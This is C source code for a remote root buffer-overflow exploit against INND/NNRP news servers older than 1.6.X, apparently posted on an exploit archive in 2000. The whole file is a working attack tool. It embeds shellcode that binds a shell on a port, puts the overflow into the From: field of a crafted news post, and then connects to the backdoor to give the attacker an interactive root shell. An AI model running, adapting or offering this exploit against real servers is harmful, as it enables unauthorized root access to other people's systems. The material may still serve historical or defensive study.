/* * -> PRIVATE. DO NOT USE / DO NOT DISTRIBUTE. <- * * INND/NNRP remote root overflow * Affects INND/NNRP versions prior to 1.6.X. */ #include #include #include #include #include #include #include #include #include #include #include #include /* * Define this if you want to send a `MODE READER` command to the remote * INND/NNRP server before attempting to post a message. If you get lots * of `syntax error` messages, try this. */ /* #define SEND_MODE_READER */ #define NNRP_PRT 119 #define BD_PRT 36864 #define ADDR 0xbfffe824 #define RETPOS 716 char c0de[] = "\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08" "\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89" "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0" "\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb" "\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0" "\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40" "\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08" "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd" "\x80\xe8\x64\xff\xff\xff"; u_long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void colombian_necktie(u_long dst_ip) { struct sockaddr_in sin; u_char sock_buf[4096]; fd_set fds; int sock; sleep(2); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(BD_PRT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to backdoor"); close(sock); exit(-1); } fprintf(stderr, "owned\n"); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1) { perror("select"); close(sock); exit(-1); } memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1) { fprintf(stderr, "Connection closed by remote host.\n"); close(sock); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) { read(0, sock_buf, sizeof(sock_buf)); write(sock, sock_buf, strlen(sock_buf)); } } /* NOTREACHED */ } static u_char * evil_playground(u_int offset) { static u_char predator[10000]; u_char buf[4096]; u_long addr = ADDR + offset; u_long retpos = RETPOS; int i = 0, j = 0; memset(buf, 0x90, sizeof(buf)); memset(predator, 0, sizeof(predator)); for (i = retpos - strlen(c0de); i < retpos; j++, i++) { buf[i] = c0de[j]; } buf[i+0] = (addr & 0xff); buf[i+1] = (addr >> 8) & 0xff; buf[i+2] = (addr >> 16) & 0xff; buf[i+3] = (addr >> 24) & 0xff; buf[i+4] = 0; snprintf(predator, sizeof(predator), "group alt.dev.null\r\n" "post\r\n" "Subject: Breaking security r0x\r\n" "Message-ID: <242242242242242.242@horribly.broken>\r\n" "path: horribly!broken!shattered!hopes!insecure.fla\r\n" "From: r00tin@%s\r\n" "Organization: Or lack thereof\r\n" "Newsgroups: alt.dev.null\r\n\r\n" "We have no sekurity. Please feel free to root uz.\r\n" ".\r\n", buf); return(predator); } void recv_data(int sock) { u_char recv_buf[4096]; memset(recv_buf, 0, sizeof(recv_buf)); if (recv(sock, recv_buf, sizeof(recv_buf), 0) == -1) { perror("recv"); close(sock); exit(-1); } fprintf(stderr, "%s\n", recv_buf); } int send_data(int sock, u_char *buf) { int res = 0; res = write(sock, buf, strlen(buf)); if (res == -1) { perror("write"); close(sock); exit(-1); } return(res); } void reclamation(u_long dst_ip, u_short src_prt, u_int offset) { struct sockaddr_in sin; u_char buf[15000]; int sock; memset(buf, 0, sizeof(buf)); strncpy(buf, evil_playground(offset), sizeof(buf)-1); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (src_prt) { struct sockaddr_in min; min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1) { perror("bind"); close(sock); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(NNRP_PRT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to innd daemon"); close(sock); exit(-1); } /* * Get the remote INND/NNRP server's banner. */ recv_data(sock); #ifdef SEND_MODE_READER send_data(sock, "MODE READER\r\n"); usleep(15000); recv_data(sock); #endif /* SEND_MODE_READER */ /* * Send the news post containing the overflow in the From: field. */ send_data(sock, buf); /* * Receive any more data the remote end iz sending. */ sleep(2); recv_data(sock); fprintf(stderr, "Overflow sent, waiting for portshell..\n"); sleep(5); close(sock); colombian_necktie(dst_ip); /* NOTREACHED */ } void usage(u_char *nomenclature) { fprintf(stderr, "No.\nusage:\t%s dst_host|ip [ -s src_prt ] [ -o offset ]\n", nomenclature); exit(-1); } int main(int argc, char **argv) { u_long dst_ip = 0; u_short src_prt = 0; u_int offset = 0; char opt; fprintf(stderr, "INND/NNRP 1.6.X remote root overflow\n"); if (argc < 2) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is that: `%s`?\n", argv[1]); exit(-1); } while ((opt = getopt(argc, argv, "s:o:")) != EOF) { switch(opt) { case 's': src_prt = (u_short)atoi(optarg); break; case 'o': offset = (u_int)atoi(optarg); break; default: usage(argv[0]); /* NOTREACHED */ } } if (src_prt < 1024 && src_prt != 0) { if (getuid() && geteuid()) { fprintf(stderr, "Inadequate privileges (source port specified: `%d`)\n", src_prt); exit(-1); } } reclamation(dst_ip, src_prt, offset); /* NOTREACHED */ } /* www.hack.co.za [28 September 2000]*/